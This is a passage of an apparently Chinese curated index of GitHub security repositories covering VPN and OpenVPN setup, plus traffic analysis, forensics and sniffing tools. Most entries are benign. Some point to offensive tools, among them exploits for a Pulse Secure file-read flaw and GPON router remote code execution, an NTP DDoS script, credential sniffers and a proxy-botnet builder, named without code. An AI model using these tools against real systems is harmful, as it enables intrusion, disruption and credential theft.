- [**949**星][4m] [Py] [christophetd/cloudflair](https://github.com/christophetd/cloudflair) a tool to find origin servers of websites protected by CloudFlare who are publicly exposed and don't restrict network access to the CloudFlare IP ranges as they should
***
## <a id="c8cc22e067df97d3c58ac53b91ebe240"></a>文章
# <a id="891b953fda837ead9eff17ff2626b20a"></a>VPN
***
## <a id="d62a971d37c69db9f3b9187318c3921a"></a>工具
- [**16279**星][10d] [Py] [trailofbits/algo](https://github.com/trailofbits/algo) algo：Ansible 脚本（基于Python），简化配置私人 IPSEC VPN 的过程，默认使用最安全的配置，支持常见云提供商，并且大多数设备都不需要客户端
- [**12171**星][1m] [Shell] [hwdsl2/setup-ipsec-vpn](https://github.com/hwdsl2/setup-ipsec-vpn) Scripts to build your own IPsec VPN server, with IPsec/L2TP and Cisco IPsec on Ubuntu, Debian and CentOS
- [**10735**星][] [Go] [txthinking/brook](https://github.com/txthinking/brook) Go语言编写的跨平台代理
- [**7613**星][3m] [Py] [sovereign/sovereign](https://github.com/sovereign/sovereign) A set of Ansible playbooks to build and maintain your own private cloud: email, calendar, contacts, file sync, IRC bouncer, VPN, and more.
- [**4548**星][17d] [C] [jedisct1/dsvpn](https://github.com/jedisct1/dsvpn) A Dead Simple VPN.
- [**4449**星][1y] [Py] [sshuttle/sshuttle](https://github.com/sshuttle/sshuttle) Transparent proxy server that works as a poor man's VPN. Forwards over ssh. Doesn't require admin. Works with Linux and MacOS. Supports DNS tunneling.
- [**4049**星][2m] [Swift] [lexrus/vpnon](https://github.com/lexrus/vpnon) Turn On your VPN like a hero.
- [**3773**星][17d] [jjqqkk/chromium](https://github.com/jjqqkk/chromium) Chromium browser with SSL VPN. Use this browser to unblock websites.
- [**3243**星][6d] [Shell] [gfw-breaker/ssr-accounts](https://github.com/gfw-breaker/ssr-accounts) 一键部署Shadowsocks服务；免费Shadowsocks账号分享；免费SS账号分享; 翻墙；无界，自由门，SquirrelVPN
- [**3152**星][3m] [Shell] [hwdsl2/docker-ipsec-vpn-server](https://github.com/hwdsl2/docker-ipsec-vpn-server) Docker image to run an IPsec VPN server, with IPsec/L2TP and Cisco IPsec
- [**2558**星][13d] [Shell] [teddysun/across](https://github.com/teddysun/across) This is a shell script for configure and start WireGuard VPN server
- [**2430**星][15d] [Py] [pritunl/pritunl](https://github.com/pritunl/pritunl) Enterprise VPN server
- [**2131**星][4d] [C] [wireguard/wireguard](https://github.com/wireguard/wireguard) fast, modern, secure kernel VPN tunnel
- [**1740**星][6m] [Shell] [quericy/one-key-ikev2-vpn](https://github.com/quericy/one-key-ikev2-vpn) A bash script base on Centos or Ubuntu help you to create IKEV2/L2TP vpn.
- [**1600**星][1m] [C] [ntop/n2n](https://github.com/ntop/n2n) Peer-to-peer VPN
- [**1526**星][2m] [Shell] [haugene/docker-transmission-openvpn](https://github.com/haugene/docker-transmission-openvpn) Docker container running Transmission torrent client with WebUI over an OpenVPN tunnel
- [**1489**星][8m] [C++] [wangyu-/tinyfecvpn](https://github.com/wangyu-/tinyfecvpn) A VPN Designed for Lossy Links, with Build-in Forward Error Correction(FEC) Support. Improves your Network Quality on a High-latency Lossy Link.
- [**1185**星][4m] [C] [ambrop72/badvpn](https://github.com/ambrop72/badvpn) NCD scripting language, tun2socks proxifier, P2P VPN
- [**1044**星][2m] [Py] [ezaquarii/vpn-at-home](https://github.com/ezaquarii/vpn-at-home) 1-click, self-hosted deployment of OpenVPN with DNS ad blocking sinkhole
- [**1023**星][12m] [Go] [twitchyliquid64/subnet](https://github.com/twitchyliquid64/subnet) Simple, auditable & elegant VPN, built with TLS mutual authentication and TUN.
- [**1000**星][8m] [Go] [adtac/autovpn](https://github.com/adtac/autovpn) THIS PROJECT IS UNMAINTAINED.
- [**994**星][4m] [C] [gsliepen/tinc](https://github.com/gsliepen/tinc) a VPN daemon
- [**911**星][9m] [Shell] [ivanilves/xiringuito](https://github.com/ivanilves/xiringuito) SSH-based "VPN for poors"
- [**910**星][4d] [Go] [mehrdadrad/radvpn](https://github.com/mehrdadrad/radvpn) Decentralized VPN
- [**884**星][2y] [Py] [nsacyber/gosecure](https://github.com/nsacyber/goSecure) An easy to use and portable Virtual Private Network (VPN) system built with Linux and a Raspberry Pi. #nsacyber
- [**721**星][7m] [C] [meyerd/n2n](https://github.com/meyerd/n2n) A development branch of the n2n p2p vpn software
- [**693**星][12d] [Kotlin] [mygod/vpnhotspot](https://github.com/mygod/vpnhotspot) Share your VPN connection over hotspot or repeater! (root required)
- [**688**星][1m] [OCaml] [moby/vpnkit](https://github.com/moby/vpnkit) A toolkit for embedding VPN capabilities in your application
- [**641**星][2y] [Shell] [kitten/setup-simple-ipsec-l2tp-vpn](https://github.com/kitten/setup-simple-ipsec-l2tp-vpn) Setup a simple IPSec/L2TP VPN Server for Ubuntu and Debian
- [**635**星][26d] [webdigi/aws-vpn-server-setup](https://github.com/webdigi/aws-vpn-server-setup) Setup your own private, secure, free* VPN on the Amazon AWS Cloud in 10 minutes. CloudFormation
- [**598**星][27d] [C] [openvpn/openvpn-gui](https://github.com/openvpn/openvpn-gui) OpenVPN GUI is a graphical frontend for OpenVPN running on Windows XP / Vista / 7 / 8. It creates an icon in the notification area from which you can control OpenVPN to start/stop your VPN tunnels, view the log and do other useful things.
- [**581**星][5d] [Go] [mysteriumnetwork/node](https://github.com/mysteriumnetwork/node) Mysterium Node - VPN server and client for decentralized Mysterium Network
- [**482**星][1y] [Swift] [icepa/icepa](https://github.com/icepa/icepa) iOS system-wide VPN based Tor client
- [**460**星][3y] [Py] [vpnguy-zz/ntpdos](https://github.com/vpnguy-zz/ntpdos) Create a DDOS attack using NTP servers
- [**452**星][2m] [Shell] [l-n-s/wireguard-install](https://github.com/l-n-s/wireguard-install) WireGuard VPN server installer
- [**429**星][3m] [Py] [jotygill/openpyn-nordvpn](https://github.com/jotygill/openpyn-nordvpn) Easily connect to and switch between, OpenVPN servers hosted by NordVPN on Linux (+patch leakes)
- [**416**星][3m] [Rust] [exodusvpn/exodus](https://github.com/ExodusVPN/exodus) network proxy and tunnel (VPN)
- [**350**星][6m] [Shell] [hackplayers/4nonimizer](https://github.com/hackplayers/4nonimizer) A bash script for anonymizing the public IP used to browsing Internet, managing the connection to TOR network and to different VPNs providers (OpenVPN)
- [**341**星][2y] [Py] [sarfata/voodooprivacy](https://github.com/sarfata/voodooprivacy) Roll your own VPN server on Amazon EC2 and battle-ready firewall for OS X
- [**327**星][2y] [Swift] [yichengchen/rabbitvpndemo](https://github.com/yichengchen/rabbitvpndemo) a demo project for testing iOS network extension with NEkit
- [**307**星][6m] [Batchfile] [lmc999/auto-add-routes](https://github.com/lmc999/auto-add-routes) China Route for VPN
- [**288**星][3m] [Py] [covertcodes/multitun](https://github.com/covertcodes/multitun) Tunnel arbitrary traffic through an innocuous WebSocket. Clients can 'see' each other, resulting in a stealth WebSocket VPN.
- [**263**星][2m] [C#] [airvpn/eddie](https://github.com/airvpn/eddie) OpenVPN UI
- [**255**星][4m] [Shell] [projectzeroindia/cve-2019-11510](https://github.com/projectzeroindia/cve-2019-11510) Exploit for Arbitrary File Read on Pulse Secure SSL VPN (CVE-2019-11510)
- [**251**星][3m] [Py] [corrad1nho/qomui](https://github.com/corrad1nho/qomui) Qomui (Qt OpenVPN Management UI)
- [**247**星][2y] [Py] [spaze/oprah-proxy](https://github.com/spaze/oprah-proxy) Generate credentials for Opera's "browser VPN"
- [**195**星][2y] [Py] [f3d0x0/gpon](https://github.com/f3d0x0/gpon) Exploit for Remote Code Execution on GPON home routers (CVE-2018-10562) written in Python. Initially disclosed by VPNMentor (
- [**190**星][4m] [Go] [cloudfoundry-incubator/cfdev](https://github.com/cloudfoundry-incubator/cfdev) A fast and easy local Cloud Foundry experience on native hypervisors, powered by LinuxKit with VPNKit
- [**185**星][1y] [Perl] [microsoft/pqcrypto-vpn](https://github.com/microsoft/pqcrypto-vpn) Post-quantum Cryptography VPN
- [**175**星][2m] [Go] [gavinguan24/ahri](https://github.com/gavinguan24/ahri) Ahri is an intranet sharing tool. Like VPN
- [**169**星][7m] [JS] [sentinel-official/sentinel](https://github.com/sentinel-official/sentinel) Sentinel is an interoperable secure network layer offering the Sentinel Service Chain exclusively for distributed & decentralized native services like - dVPN, Sentrix (dChat and dVoIP) and more.
- [**154**星][3y] [Makefile] [0x36/vpnpivot](https://github.com/0x36/vpnpivot) Explore the network using VPNPivot tool
- [**147**星][4y] [C] [valdikss/openvpn-fix-dns-leak-plugin](https://github.com/valdikss/openvpn-fix-dns-leak-plugin) OpenVPN plugin to fix Windows DNS Leaks
- [**143**星][10m] [Shell] [essandess/macos-openvpn-server](https://github.com/essandess/macos-openvpn-server) macOS OpenVPN Server and Client Configuration (OpenVPN, Tunnelblick, PF)
- [**142**星][4y] [C] [valdikss/p0f-mtu](https://github.com/valdikss/p0f-mtu) p0f with patches to save MTU value and export it via API (for VPN detection)
- [**140**星][4m] [Go] [skx/simple-vpn](https://github.com/skx/simple-vpn) A simple VPN allowing mesh-like communication between nodes, over websockets
- [**131**星][6d] [Shell] [binhex/arch-rtorrentvpn](https://github.com/binhex/arch-rtorrentvpn) Docker build script for Arch Linux base with ruTorrent, rTorrent, autodl-irssi, Privoxy and OpenVPN
- [**123**星][4y] [Shell] [91yun/vpn](https://github.com/91yun/vpn) vpn一键安装包
- [**115**星][2y] [Py] [dragon2fly/vpngate-with-proxy](https://github.com/dragon2fly/vpngate-with-proxy) vpn gate client for linux, be able to connect to open vpn server through proxy
- [**115**星][1y] [Shell] [wknapik/vpnfailsafe](https://github.com/wknapik/vpnfailsafe) IP leak prevention for OpenVPN
- [**113**星][2y] [bobnisco/adblocking-vpn](https://github.com/bobnisco/adblocking-vpn)
- [**111**星][2y] [Shell] [adrelanos/vpn-firewall](https://github.com/adrelanos/vpn-firewall) Leak Protection (Fail Safe Mechanism) for (Open)VPN
- [**110**星][2y] [JS] [voidsec/webrtc-leak](https://github.com/voidsec/webrtc-leak) Check if your VPN leaks your IP address via the WebRTC technology
- [**105**星][4y] [Go] [netxfly/transparent-proxy-scanner](https://github.com/netxfly/transparent-proxy-scanner) 基于vpn和透明代理的web漏洞扫描器的实现思路及demo
- [**102**星][11m] [C] [ryd/chaosvpn](https://github.com/ryd/chaosvpn) Config generator for chaos vpn
- [**93**星][18d] [Py] [chadsr/nordvpn-networkmanager](https://github.com/chadsr/nordvpn-networkmanager) A CLI tool for automating the importing, securing and usage of NordVPN (and in the future, more) OpenVPN servers through NetworkManager.
- [**91**星][2y] [Py] [pry0cc/proxydock](https://github.com/pry0cc/proxydock) ProxyDock is a Dockerfile and Bash script that converts your OpenVPN files into local proxies.
- [**90**星][2y] [C++] [azirevpn/azclient](https://github.com/azirevpn/azclient) Customizable VPN client, meant to be simple and sleek.
- [**90**星][4y] [Shell] [primaryobjects/vpndemon](https://github.com/primaryobjects/vpndemon) Monitor a VPN connection on Linux and kill a process upon disconnect
- [**83**星][4d] [Shell] [esemeniuc/ezpptp](https://github.com/esemeniuc/ezpptp) Easy PPTP VPN setup script for Debian based VPS
- [**82**星][8m] [Go] [cogolabs/transcend](https://github.com/cogolabs/transcend) BeyondCorp-inspired Access Proxy. Secure internal services outside your VPN/perimeter network during a zero-trust transition.
- [**77**星][2m] [Py] [ab77/black.box](https://github.com/ab77/black.box) Plug-and-Play VPN router and unblocker
- [**76**星][1y] [Shell] [kolargol/openvpn](https://github.com/kolargol/openvpn) Shell 脚本，5分钟建立个人 VPN
- [**72**星][4d] [C++] [orchidtechnologies/orchid](https://github.com/OrchidTechnologies/orchid) Orchid: VPN, Personal Firewall
- [**72**星][4d] [C++] [orchidtechnologies/orchid](https://github.com/orchidtechnologies/orchid) Orchid: VPN, Personal Firewall
- [**70**星][1m] [Go] [vpn-kill-switch/killswitch](https://github.com/vpn-kill-switch/killswitch) VPN kill switch for macOS
- [**67**星][6m] [Shell] [tasket/qubes-vpn-support](https://github.com/tasket/qubes-vpn-support) VPN configuration in Qubes OS
- [**64**星][3y] [Perl] [0x90/vpn-arsenal](https://github.com/0x90/vpn-arsenal) VPN pentest tools and scripts
- [**58**星][7m] [Go] [dsnet/udptunnel](https://github.com/dsnet/udptunnel) Daemon for creating a simple VPN over UDP.
- [**55**星][3m] [Shell] [bishopfox/pwn-pulse](https://github.com/bishopfox/pwn-pulse) Exploit for Pulse Connect Secure SSL VPN arbitrary file read vulnerability (CVE-2019-11510)
- [**53**星][8m] [Shell] [laserbat/vpnify](https://github.com/laserbat/vpnify) vpnify - transparently route traffic of a process through VPN
- [**50**星][11m] [C] [acoinfo/kidvpn](https://github.com/acoinfo/kidvpn) The world's smallest VPN server and client.
- [**47**星][3y] [Go] [inszva/tap0901](https://github.com/inszva/tap0901) Go语言虚拟网卡库，可用于制作对战平台、加速器、防火墙、VPN等
- [**42**星][3y] [C] [lxdcn/simple-vpn-demo](https://github.com/lxdcn/simple-vpn-demo) A Simple Point-to-Point tunnelling implementation in C
- [**40**星][2y] [Shell] [xaqron/stunnel](https://github.com/xaqron/stunnel) Wrapping openvpn with stunnel
- [**36**星][4m] [Shell] [hromie/obfs4proxy-openvpn](https://github.com/hromie/obfs4proxy-openvpn) Obfuscating OpenVPN traffic using obfs4proxy
- [**34**星][3y] [Shell] [dlshad/openvpn-shapeshifter](https://github.com/dlshad/openvpn-shapeshifter) This script will automatically guide you to install and configure your OpenVPN server with Shapeshifter Dispatcher (obfuscation) which will allow you to bypass the DPI blockage on OpenVPN. This setup will offer the users the freedom to choose between regular OpenVPN connection or obfuscated one, they actually can use both! OpenVPN is the VPN pro…
- [**33**星][11m] [Py] [qwj/python-esp](https://github.com/qwj/python-esp) IPSec IKE(v1,v2) PSK VPN implemented in pure Python. (For Research Purposes Only)
- [**32**星][2m] [Go] [shikanon/socks5proxy](https://github.com/shikanon/socks5proxy) 一个简单的socks5代理转发服务(VPN)
- [**31**星][2y] [C] [alienrobotarmy/ctunnel](https://github.com/alienrobotarmy/ctunnel) ctunnel is a proxy and VPN software for tunneling TCP and UDP connections securely
- [**29**星][4y] [Makefile] [radicallyopensecurity/netaidkit](https://github.com/radicallyopensecurity/netaidkit) Standalone VPN/Tor WiFi router for journalists and activists
- 重复区段: [匿名网络->工具->Tor](#e99ba5f3de02f68412b13ca718a0afb6) |
- [**27**星][2m] [HTML] [tkvpn/tkvpn.github.io](https://github.com/tkvpn/tkvpn.github.io) 这里提供全球多个网络加速节点，速度极快，提供免费试用。
- [**26**星][9m] [Shell] [shverni/raspberry-pi-vpn-gateway](https://github.com/shverni/raspberry-pi-vpn-gateway) Raspberry Pi VPN gateway installer for Private Internet Access
- [**25**星][1y] [Tcl] [fruho/fruhoapp](https://github.com/fruho/fruhoapp) Fruho VPN Manager - Universal VPN Client |
- [**25**星][9m] [Py] [letheanmovement/lethean-vpn](https://github.com/letheanmovement/lethean-vpn) Lethean Virtual Private Network (VPN)
- [**23**星][21d] [PHP] [ip2location/ip2proxy-php](https://github.com/ip2location/ip2proxy-php) PHP module for IP2Proxy database lookup. It allows user to query an IP address if it was being used as open proxy, web proxy, VPN anonymizer and TOR exits.
- [**23**星][8m] [PHP] [mrahmadt/smartgw](https://github.com/mrahmadt/smartgw) Domain based VPN Gateway/Proxy for all devices
- [**22**星][12d] [Py] [wisepythagoras/website-fingerprinting](https://github.com/wisepythagoras/website-fingerprinting) Deanonymizing Tor or VPN users with website fingerprinting and machine learning.
- [**22**星][3m] [Dockerfile] [kizzx2/docker-openvpn-client-socks](https://github.com/kizzx2/docker-openvpn-client-socks) Expose an OpenVPN tunnel as a SOCKS proxy
- [**22**星][12d] [Py] [wisepythagoras/website-fingerprinting](https://github.com/wisepythagoras/website-fingerprinting) Deanonymizing Tor or VPN users with website fingerprinting and machine learning.
- [**21**星][3y] [Py] [toolsprods/sniffvpn](https://github.com/toolsprods/sniffvpn) Traffic monitor for your VPN
- [**19**星][4y] [HTML] [cryptostorm-dev/cleanvpn.xyz](https://github.com/cryptostorm-dev/cleanvpn.xyz) A place to research & publicly certify malware-free, fully operational VPN services
- [**17**星][3y] [Shell] [jxzy199306/ipv6_dhclient_online_net](https://github.com/jxzy199306/ipv6_dhclient_online_net) seedbox一键脚本 Deluge+Flexget,rutorrent, rtorrent + ruTorrent,Transmission+Flexget,FTP,VPN,VNC,SSH Proxy,Rapidleec
- [**16**星][3m] [Py] [andresriancho/vpc-vpn-pivot](https://github.com/andresriancho/vpc-vpn-pivot) Pivot into private VPC networks using a VPN connection
- [**14**星][1y] [C#] [t0nic/killswitch-windows](https://github.com/t0nic/killswitch-windows) VPN kill switch for windows.
- [**11**星][6m] [Go] [threatstack/vpnnotify](https://github.com/threatstack/vpnnotify) It tells you when you VPN
- [**10**星][3y] [Shell] [perunworks/zenected](https://github.com/perunworks/zenected) Zenected Threat Defense VPN
- [**9**星][2y] [C] [guidovranken/softethervpn-fuzz-audit](https://github.com/guidovranken/softethervpn-fuzz-audit)
- [**9**星][jasper-1024/shadowsocksr-csharp](https://github.com/jasper-1024/shadowsocksr-csharp) ShadowsocksR for Windows
- [**8**星][2y] [C] [penmast/chameleon](https://github.com/penmast/chameleon) A Windows application-specific VPN and network monitoring tool
- [**7**星][10d] [Py] [dlenski/what-vpn](https://github.com/dlenski/what-vpn) Identify servers running various SSL VPNs based on protocol-specific behaviors
- [**7**星][3y] [jas502n/ngrok.snvpn.org](https://github.com/jas502n/ngrok.snvpn.org) 自己搭建的一个ngrok服务器，可以全球访问
- [**5**星][5y] [C] [inode-/vpnc-brute](https://github.com/inode-/vpnc-brute)
- [**5**星][3y] [JS] [mitchellurgero/pivpn-gui](https://github.com/mitchellurgero/pivpn-gui) THIS PROJECT IS DEAD. PLEASE USE OPENRSD WHICH INCLUDES THIS GUI -
- [**4**星][1m] [Shell] [gardener/vpn](https://github.com/gardener/vpn) Network connector between the control plane (deployed in a Seed cluster) and a Shoot cluster.
- [**4**星][3y] [Shell] [zecopro/fix-vpn-kali-linux](https://github.com/zecopro/fix-vpn-kali-linux) this script for fix problem vpn on kali linux "Rooling" only :)
- [**4**星][3y] [C] [ddlsmurf/sov](https://github.com/ddlsmurf/sov) Starcraft over VPN
- [**2**星][1y] [Py] [paloaltonetworks/microsoft_azure_virtual_wan](https://github.com/paloaltonetworks/microsoft_azure_virtual_wan) Implements the automation and integration framework to work with Azure Virtual WAN's and PANW to create VPN connections.
- [**0**星][2y] [alt3kx/cve-2009-4118](https://github.com/alt3kx/cve-2009-4118) Cisco VPN Client - Integer Overflow Denial of Service
***
## <a id="7cf7e8a30b73997985f20698eaf6b0c9"></a>OpenVPN
- [**10693**星][2m] [Shell] [nyr/openvpn-install](https://github.com/nyr/openvpn-install) OpenVPN road warrior installer for Debian, Ubuntu and CentOS
- [**4354**星][1m] [C] [openvpn/openvpn](https://github.com/openvpn/openvpn) OpenVPN is an open source VPN daemon
- [**4050**星][1m] [Shell] [angristan/openvpn-install](https://github.com/angristan/openvpn-install) Set up your own OpenVPN server on Debian, Ubuntu, Fedora, CentOS or Arch Linux.
- [**2708**星][24d] [Shell] [pivpn/pivpn](https://github.com/pivpn/pivpn) 树莓派的OpenVPN安装程序
- [**1834**星][2m] [Shell] [ttlequals0/autovpn](https://github.com/ttlequals0/autovpn) Create On Demand Disposable OpenVPN Endpoints on AWS.
- [**833**星][3y] [Shell] [robbintt/popup-openvpn](https://github.com/robbintt/popup-openvpn) Make a self hosted OpenVPN server in 15 minutes
- [**598**星][2m] [PHP] [chocobozzz/openvpn-admin](https://github.com/chocobozzz/openvpn-admin) Install and administrate OpenVPN with a web interface (logs visualisations, users managing...)
- [**357**星][12d] [C++] [openvpn/openvpn3](https://github.com/openvpn/openvpn3) OpenVPN 3 is a C++ class library that implements the functionality of an OpenVPN client, and is protocol-compatible with the OpenVPN 2.x branch.
- [**230**星][1y] [Py] [audibleblink/doxycannon](https://github.com/audibleblink/doxycannon) 为一堆OpenVPN文件分别创建Docker容器, 每个容器开启SOCKS5代理服务器并绑定至Docker主机端口, 再结合使用Burp或ProxyChains, 构建私有的Botnet
- [**214**星][2m] [C++] [ss-abramchuk/openvpnadapter](https://github.com/ss-abramchuk/openvpnadapter) Objective-C wrapper for OpenVPN library. Compatible with iOS and macOS.
- [**142**星][3m] [Gherkin] [iphoting/ovpnmcgen.rb](https://github.com/iphoting/ovpnmcgen.rb) An OpenVPN iOS Configuration Profile (.mobileconfig) Utility—Configures OpenVPN for use with VPN-on-Demand that are not exposed through Apple Configurator 2.
- [**35**星][20d] [Go] [mysteriumnetwork/go-openvpn](https://github.com/mysteriumnetwork/go-openvpn)
- [**28**星][5y] [Py] [phaeilo/vol-openvpn](https://github.com/phaeilo/vol-openvpn) A Volatility plugin to extract credentials from the memory of a OpenVPN client.
- [**27**星][2y] [C] [guidovranken/openvpn](https://github.com/guidovranken/openvpn) OpenVPN is an open source VPN daemon
- [**23**星][2m] [Shell] [binhex/arch-int-openvpn](https://github.com/binhex/arch-int-openvpn) Docker build script for Arch Linux base with OpenVPN and Privoxy
- [**21**星][5y] [C] [valdikss/openvpn-radiusplugin](https://github.com/valdikss/openvpn-radiusplugin) Radiusplugin with various patches and fixes
- [**17**星][4y] [rootkitsmm/openvpn-pool-overflow](https://github.com/rootkitsmm/openvpn-pool-overflow) Pool Overflow in OpenVpn NDIS TAP Driver
- [**15**星][3y] [Go] [tazjin/watchblob](https://github.com/tazjin/watchblob) Connect to 2-factor WatchGuard VPNs on Linux with OpenVPN
- [**8**星][4m] [Py] [egeneralov/rkn-vpn-configurator](https://github.com/egeneralov/rkn-vpn-configurator) Configure OpenVPN with bypass rkn.gov.ru limits.
- [**6**星][1y] [C++] [mysteriumnetwork/openvpn3](https://github.com/mysteriumnetwork/openvpn3) OpenVPN 3 is a C++ class library that implements the functionality of an OpenVPN client, and is protocol-compatible with the OpenVPN 2.x branch.
- [**5**星][2y] [Shell] [devindevoir/openvpn-installer](https://github.com/devindevoir/openvpn-installer) Secure OpenVPN installer for Debian, Ubuntu, CentOS and Arch Linux.
- [**3**星][6m] [Shell] [2stacks/docker-ovpn](https://github.com/2stacks/docker-ovpn) OpenVPN Server in Docker Container
- [**3**星][2y] [HCL] [abacao/do_tinfoil](https://github.com/abacao/do_tinfoil) Create and provision a OpenVPN server in DigitalOcean with Terraform
- [**1**星][2y] [Shell] [entaopy/dostreisand](https://github.com/entaopy/dostreisand) Streisand sets up a new server running L2TP/IPsec, OpenConnect, OpenSSH, OpenVPN, Shadowsocks, sslh, Stunnel, a Tor bridge, and WireGuard. It also generates custom instructions for all of these services. At the end of the run you are given an HTML file with instructions that can be shared with friends, family members, and fellow activists.
- [**0**星][1y] [Shell] [frichetten/streisand](https://github.com/frichetten/streisand) Streisand sets up a new server running your choice of WireGuard, OpenConnect, OpenSSH, OpenVPN, Shadowsocks, sslh, Stunnel, or a Tor bridge. It also generates custom instructions for all of these services. At the end of the run you are given an HTML file with instructions that can be shared with friends, family members, and fellow activists.
# <a id="3c28b67524f117ed555daed9cc99e35e"></a>分析&&取证&&诊断&&探查&&检测&&嗅探
***
## <a id="7bf0f5839fb2827fdc1b93ae6ac7f53d"></a>工具
### <a id="b346105580b0240d693020ce8719ebca"></a>未分类
- [**3527**星][5d] [JS] [aol/moloch](https://github.com/aol/moloch) 数据包捕获、索引工具，支持数据库
- [**3000**星][4d] [JS] [ntop/ntopng](https://github.com/ntop/ntopng) 基于Web的流量监控工具
- [**1919**星][4d] [C] [ntop/ndpi](https://github.com/ntop/ndpi) Open Source Deep Packet Inspection Software Toolkit
- [**1893**星][6d] [C] [merbanan/rtl_433](https://github.com/merbanan/rtl_433) 解码来自以433.9 MHz广播的设备（例如温度传感器）的流量
- [**1283**星][1m] [Go] [dreadl0ck/netcap](https://github.com/dreadl0ck/netcap) A framework for secure and scalable network traffic analysis -
- [**957**星][1m] [Py] [fireeye/flare-fakenet-ng](https://github.com/fireeye/flare-fakenet-ng) 下一代动态网络分析工具
- [**934**星][2y] [Py] [tomchop/malcom](https://github.com/tomchop/malcom) Malcom - Malware Communications Analyzer
- [**918**星][2y] [HTML] [snorby/snorby](https://github.com/snorby/snorby) Ruby On Rails Application For Network Security Monitoring
- [**726**星][3m] [Py] [cloudflare/bpftools](https://github.com/cloudflare/bpftools) BPF Tools - packet analyst toolkit
- [**711**星][2y] [Py] [google/ssl_logger](https://github.com/google/ssl_logger) 解密并记录进程的SSL 流程
- [**519**星][5d] [C++] [kohler/click](https://github.com/kohler/click) The Click modular router: fast modular packet processing and analysis
- [**481**星][7d] [C#] [chmorgan/sharppcap](https://github.com/chmorgan/sharppcap) 用于捕获数据包的跨平台 (Windows, Mac, Linux)库，.NET编写
- [**448**星][3d] [C#] [malwareinfosec/ekfiddle](https://github.com/malwareinfosec/ekfiddle) Fiddler Web调试器的框架，用于研究漏洞利用工具包、恶意广告和恶意流量
- 重复区段: [工具->fiddler](#31d28e8b2cf6c06411cd5d178dbd3e77) |
- [**441**星][3m] [C++] [pstavirs/ostinato](https://github.com/pstavirs/ostinato) Packet/Traffic Generator and Analyzer
- [**409**星][9m] [Py] [mitrecnd/chopshop](https://github.com/mitrecnd/chopshop) Protocol Analysis/Decoder Framework
- [**397**星][4d] [Py] [idaholab/malcolm](https://github.com/idaholab/malcolm) Malcolm is a powerful, easily deployable network traffic analysis tool suite for full packet capture artifacts (PCAP files) and Zeek logs.
- [**316**星][2y] [Py] [tnich/honssh](https://github.com/tnich/honssh) 记录客户端和服务器之间的所有 SSH 通信
- [**286**星][2m] [Shell] [tehw0lf/airbash](https://github.com/tehw0lf/airbash) 全自动的WPAPSK握手包捕获脚本, 用于渗透测试
- [**274**星][19d] [Py] [ghostop14/sparrow-wifi](https://github.com/ghostop14/sparrow-wifi) Next-Gen GUI-based WiFi and Bluetooth Analyzer for Linux
- [**210**星][8m] [JS] [dirtbags/pcapdb](https://github.com/dirtbags/pcapdb) 网络数据包捕获系统，分布式，对搜索进行了优化
- [**194**星][6m] [Go] [cuishark/cuishark](https://github.com/cuishark/cuishark) A protocol analyzer like a wireshark on CUI. cuishark is using libwireshark to analyze packets.
- [**67**星][3y] [JS] [pythonran/pcap_tools](https://github.com/pythonran/pcap_tools) 网络流量可配置嗅探，流量包解析，漏洞规则扫描，生成报告
- [**65**星][1y] [Py] [ch3k1/squidmagic](https://github.com/ch3k1/squidmagic) analyze a web-based network traffic
### <a id="8dd8c4c8d11c149aa803a221480687d2"></a>协议分析
- [**1454**星][4d] [Go] [skydive-project/skydive](https://github.com/skydive-project/skydive) An open source real-time network topology and protocols analyzer
- [**472**星][2m] [Py] [netzob/netzob](https://github.com/netzob/netzob) 通信协议逆向、建模和模糊测试
### <a id="9dfefb87c4dc3288b2eddf6780e8ffb9"></a>网络诊断
- [**2536**星][2y] [Py] [google/nogotofail](https://github.com/google/nogotofail) 帮助开发人员和安全研究人员在设备和应用程序上发现并修复弱TLS / SSL连接问题，定位敏感的明文流量。灵活、可扩展、功能强大
- [**2249**星][2y] [Go] [mehrdadrad/mylg](https://github.com/mehrdadrad/mylg) 网络诊断工具
- [**1302**星][17d] [C] [traviscross/mtr](https://github.com/traviscross/mtr) 结合“ traceroute”和“ ping”的功能，用于网络诊断
### <a id="b3811e8d4be5755957b0ec0e336715a2"></a>取证
- [**5208**星][7m] [Py] [usarmyresearchlab/dshell](https://github.com/usarmyresearchlab/dshell) 可扩展的网络取证分析框架。支持快速开发插件，以支持剖析网络数据包捕获。
- [**791**星][4m] [Py] [srinivas11789/pcapxray](https://github.com/srinivas11789/pcapxray) 网络取证工具：离线将捕获数据包可视化为网络图，包括设备标识，突出显示重要的通信和文件提取
- [**31**星][5y] [Py] [madpowah/forensicpcap](https://github.com/madpowah/forensicpcap) pcap取证
- [**11**星][3y] [Py] [nipunjaswal/wireless-forensics-framework](https://github.com/nipunjaswal/wireless-forensics-framework) Wireless Forensics Framework In Python
### <a id="07701b342951b5d7bfa839db7752f9dd"></a>Xx分析
- [**527**星][1m] [Py] [hatboy/pcap-analyzer](https://github.com/hatboy/pcap-analyzer) Python编写的可视化的离线数据包分析器
- [**381**星][5y] [JS] [le4f/pcap-analyzer](https://github.com/le4f/pcap-analyzer) 在线轻量Pcap流量文件分析工具
- [**211**星][1y] [Py] [mateuszk87/pcapviz](https://github.com/mateuszk87/pcapviz) 可视化网络拓扑，基于pcap文件收集图形统计信息
- [**122**星][5y] [JS] [thepacketgeek/cloud-pcap](https://github.com/thepacketgeek/cloud-pcap) Web PCAP存储和分析
### <a id="32739127f0c38d61b14448c66a797098"></a>嗅探&&Sniff
- [**3510**星][8m] [Go] [fanpei91/torsniff](https://github.com/fanpei91/torsniff) 从BitTorrent网络嗅探种子
- [**3510**星][8m] [Go] [fanpei91/torsniff](https://github.com/fanpei91/torsniff) 从BitTorrent网络嗅探种子
- [**1756**星][8d] [PHP] [wordpress/wordpress-coding-standards](https://github.com/wordpress/wordpress-coding-standards) PHP_CodeSniffer rules (sniffs) to enforce WordPress coding conventions
- [**1536**星][5d] [C++] [nmap/npcap](https://github.com/nmap/npcap) Nmap项目的针对Windows系统的数据包嗅探库，基于WinPcap/Libpcap，用NDIS6和LWF做了升级
- [**1338**星][3m] [C++] [mfontanini/libtins](https://github.com/mfontanini/libtins) High-level, multiplatform C++ network packet sniffing and crafting library.
- [**1333**星][1y] [C] [gamelinux/passivedns](https://github.com/gamelinux/passivedns) A network sniffer that logs all DNS server replies for use in a passive DNS setup
- [**1232**星][4d] [Py] [danmcinerney/net-creds](https://github.com/danmcinerney/net-creds) Sniffs sensitive data from interface or pcap
- [**1064**星][7m] [PS] [nytrorst/netripper](https://github.com/nytrorst/netripper) 后渗透工具,针对Windows, 使用API Hooking拦截网络流量和加密相关函数, 可捕获明文和加密前后的内容
